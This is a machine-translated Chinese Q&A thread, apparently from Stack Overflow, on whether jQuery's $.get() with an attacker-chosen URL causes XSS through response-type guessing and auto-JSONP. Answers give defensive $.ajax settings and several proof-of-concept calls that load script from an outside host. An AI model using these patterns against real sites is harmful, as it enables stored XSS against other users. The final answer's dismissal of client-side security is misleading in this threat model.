jQuery的$ .get()可以安全地调用不受信任的URL吗?

我最近了解到,jQuery的$.getJSON() 在不受信任的URL上调用是不安全的 。 那么$.get()呢? 当URL参数来自不受信任的来源时,jQuery的$.get()安全地调用,或者这是不安全的?

这是我正在进行的安全代码审查,以检查XSS漏洞。 示例代码模式:

 $.get(url, function (...) { ... }) 

如果攻击者恶意选择url ,此代码模式是否会创建XSS漏洞?

请假设该函数将安全地处理来自AJAX请求的响应,并且该url来自不受信任的来源(例如,其他一些用户)并且可以完全由对手控制。

我担心:如果攻击者选择了url ,攻击者是否可以选择恶意URL(例如,包含callback=?并指向他们自己的站点,或者类似的东西),这会导致jQuery猜测数据类型应该是JSONP ,启用JSONP,在文档中插入脚本标记,并以与getJSON()相同的方式引入XSS漏洞? (因为我没有将明确的dataType参数传递给$.get() ,所以jQuery会猜测数据类型,如文档中所述 。我不确定它的安全含义是什么。)

我在代码审查中遇到了这种代码模式,我试图了解它是否是一个潜在的漏洞。 我不是在寻找可以编写代码的替代方法; 相反,我想知道这种代码模式是否安全。


由于威胁模型有点棘手,让我举一个例子来帮助更好地理解这一点。 假设Bob是该服务的用户,他可以提供与其个人资料相关联的URL。 假设当Alice在浏览器中访问Bob的个人资料页面时,页面上的Javascript代码会获取Bob提供的URL并将其作为参数传递给$.get() 。 问题是,这样安全吗? 鲍勃可以用它来攻击爱丽丝吗? Bob可以触发Alice的浏览器执行任意Javascript代码,拥有Alice的所有权力吗? 正如链接问题所解释的那样, $.getJSON()在这种情况下是不安全的 – 但是$.get()呢? 它也不安全,还是安全的?


由于我收到了一些澄清请求,让我尝试以不同的方式解释/提出问题。 假设我正在进行代码审查以检查某些Javascript代码是否包含任何XSS漏洞,我看到以下代码行:

 $.get(url, function(resp) { /* do nothing */ }); 

假设我知道url可以被攻击者完全控制。 这是否自动成为XSS漏洞? 或者这总是安全吗? 或者,如果答案是“它取决于”,它依赖于什么?

或者,另一种思考方式。 假设我正在进行代码审查,我看到以下代码行:

 $.get(url, f); 

假设我知道url可以被攻击者完全控制。 我需要检查什么,以validation这是否安全(没有XSS错误)? 我知道我需要检查f的代码以查看它是否安全地处理响应,因为如果f不小心它可能会引入XSS错误。 我的问题是:我唯一需要检查的是什么? 或者这个代码模式总是一个XSS漏洞,无论f是如何编码的?

如果攻击者恶意选择url,此代码模式是否会创建XSS漏洞?

编辑:是的,但不是你问题中的原因。

奇怪的auto-JSONPfunction在内部应用于使用ajaxPrefilter("json jsonp") AJAX请求。 所以它适用于json预filter列表,但不适用于其他类型或默认* 。 但是,prefilters在响应发生之前应用,因此这不会因为服务器回复类似JSON的类型而发生。

(目前 – 从1.11.2开始 – getJSON的文档没有描述这种潜在危险行为完全触发的情况。而getajax的文档根本没有提到auto-JSONP。所以也许它应该被认为是一个错误。当然,鉴于这是多么糟糕的指定,我不会依赖它在jQuery的未来版本中保持不变。)

它易受攻击的实际原因(如framp和牙刷所示)是没有dataType参数,jQuery会从响应中猜出一个。 如果攻击者的URL命中一个像JS一样的Content-Type ,jQuery会猜测它是JavaScript并eval它。 注意:为了使AJAX请求足以使其工作,对于第三方服务器上的资源,它必须包含CORS头。

 $.get(url, function (...) { ... }, 'json'); 

此版本不容易受到响应类型的猜测。 但是,它容易受到auto-JSONPfilter的攻击。

为了安全起见,您必须同时设置dataType选项,如果该选项是json ,还必须设置jsonp: false选项。 不幸的是,您无法在get()方法中设置jsonp选项。 你应该可以通过传入一个选项字典而不是参数来做到这一点,但你不能,因为这个API目前完全不起作用,因为jQuery是一个令人遗憾的混乱的破坏的Do-What-I-Mean API其行为它(越来越)难以预测。

因此,从不受信任的URL获取JSON的唯一安全方法是通过基本的ajax

 $.ajax(url, {dataType: 'json', jsonp: false}); 

jQuery.get 确实会造成XSS安全风险。

如果你看一下jQuery的源代码(或jQuery.get的文档),你会看到jQuery.getjQuery.post只是jQuery.ajax({ url: url, data: data, success: success, dataType: dataType });包装器jQuery.ajax({ url: url, data: data, success: success, dataType: dataType });

这里有两个问题:

  1. 如果dataTypejsonp ,或者URL以=?结尾=?dataTypejson ,jQuery将尝试发出JSONP请求,然后eval脚本。
  2. 如果响应是脚本,jQuery将执行该脚本, 除非 dataTypejson并且jsonp选项设置为false

因此,如果将dataType设置为json ,将jsonpfalse ,则可以安全地为未知URL调用jQuery.get

易受攻击的脚本

 $.get(url, function(...) { ... }); 

请参阅JSFiddle上的示例。

安全的脚本

 $.ajax(url, { jsonp: false, dataType: 'json' }).done(function(...) { ... }); 

请参阅JSFiddle上的示例。

这取决于。

TL; DR是的,在某些情况下它是不安全的。

如果:

  • 您没有使用内容安全策略过滤外发请求( caniuse )
  • 客户端浏览器支持CORS( caniuse )
  • 攻击者可以选择URL

然后攻击者可以在您的页面上执行JS。

具有匹配协议的恶意服务器,正确的CORS标头( Access-Control-Allow-Origin: * )将能够在您的页面上执行JS,这要归功于来自Content-Type标头的jQuery自动检测(对于JS将是script )。

您可以在stackoverflow上尝试此页面的示例(假设您使用的是http ):

 $.get('http://zensuite.net/js/alert.js', console.log.bind(console)); 

如果您想查看未设置CORS标头会发生什么:

 $.get('https://zensuite.net/js/alert.js', console.log.bind(console)); 

相反,在谈论您的假设时,您可能无法使jQuery将正常的XHR请求转换为远程包含脚本。

在简要查看代码后,我认为这不太可能发生(除非某处存在错误),因为只有在请求传输之前才能切换到“远程脚本模式”,并且如果您的dataType

  • json当URL匹配rjsonp regex /(=)\?(?=&|$)|\?\?/ ;
  • jsonp
  • script

这些也很脆弱:

 $.get('https://zensuite.net/js/alert.js?callback=?', console.log.bind(console), 'json'); $.get('https://zensuite.net/js/alert.js', console.log.bind(console), 'jsonp'); $.get('https://zensuite.net/js/alert.js', console.log.bind(console), 'script'); 

这当然与问题无关,因为您可以使用$.get来执行远程代码。

这是一个好点。 但是如何强制数据类型格式以确保它不会被用作JSONP

 $.ajax({ url: url, data: data, success: success, dataType: dataType // force text/plain }); 

当我们想要加速解析时,使用实际的$.getJSON()是为了方便,所以如果你真的意识到安全性使用自定义的$.ajax()调用。

更多信息: http : //api.jquery.com/jquery.ajax/

你知道,黑客可以简单地打开开发控制台并编写他想要的任何$.get ,他甚至不必更改你的url变量。 实际上,只要它不干扰相同的域策略,他就可以运行他想要的任何代码。 客户端安全的全部意义在于确保这个人只能破解自己。

所以不需要尝试保护客户端的任何东西,这个想法是你不能相信来自浏览器的任何东西 ,所以你应该总是检查服务器中收到的数据,并允许两者之间的最小接口(知道你的参数,他们的类型等)。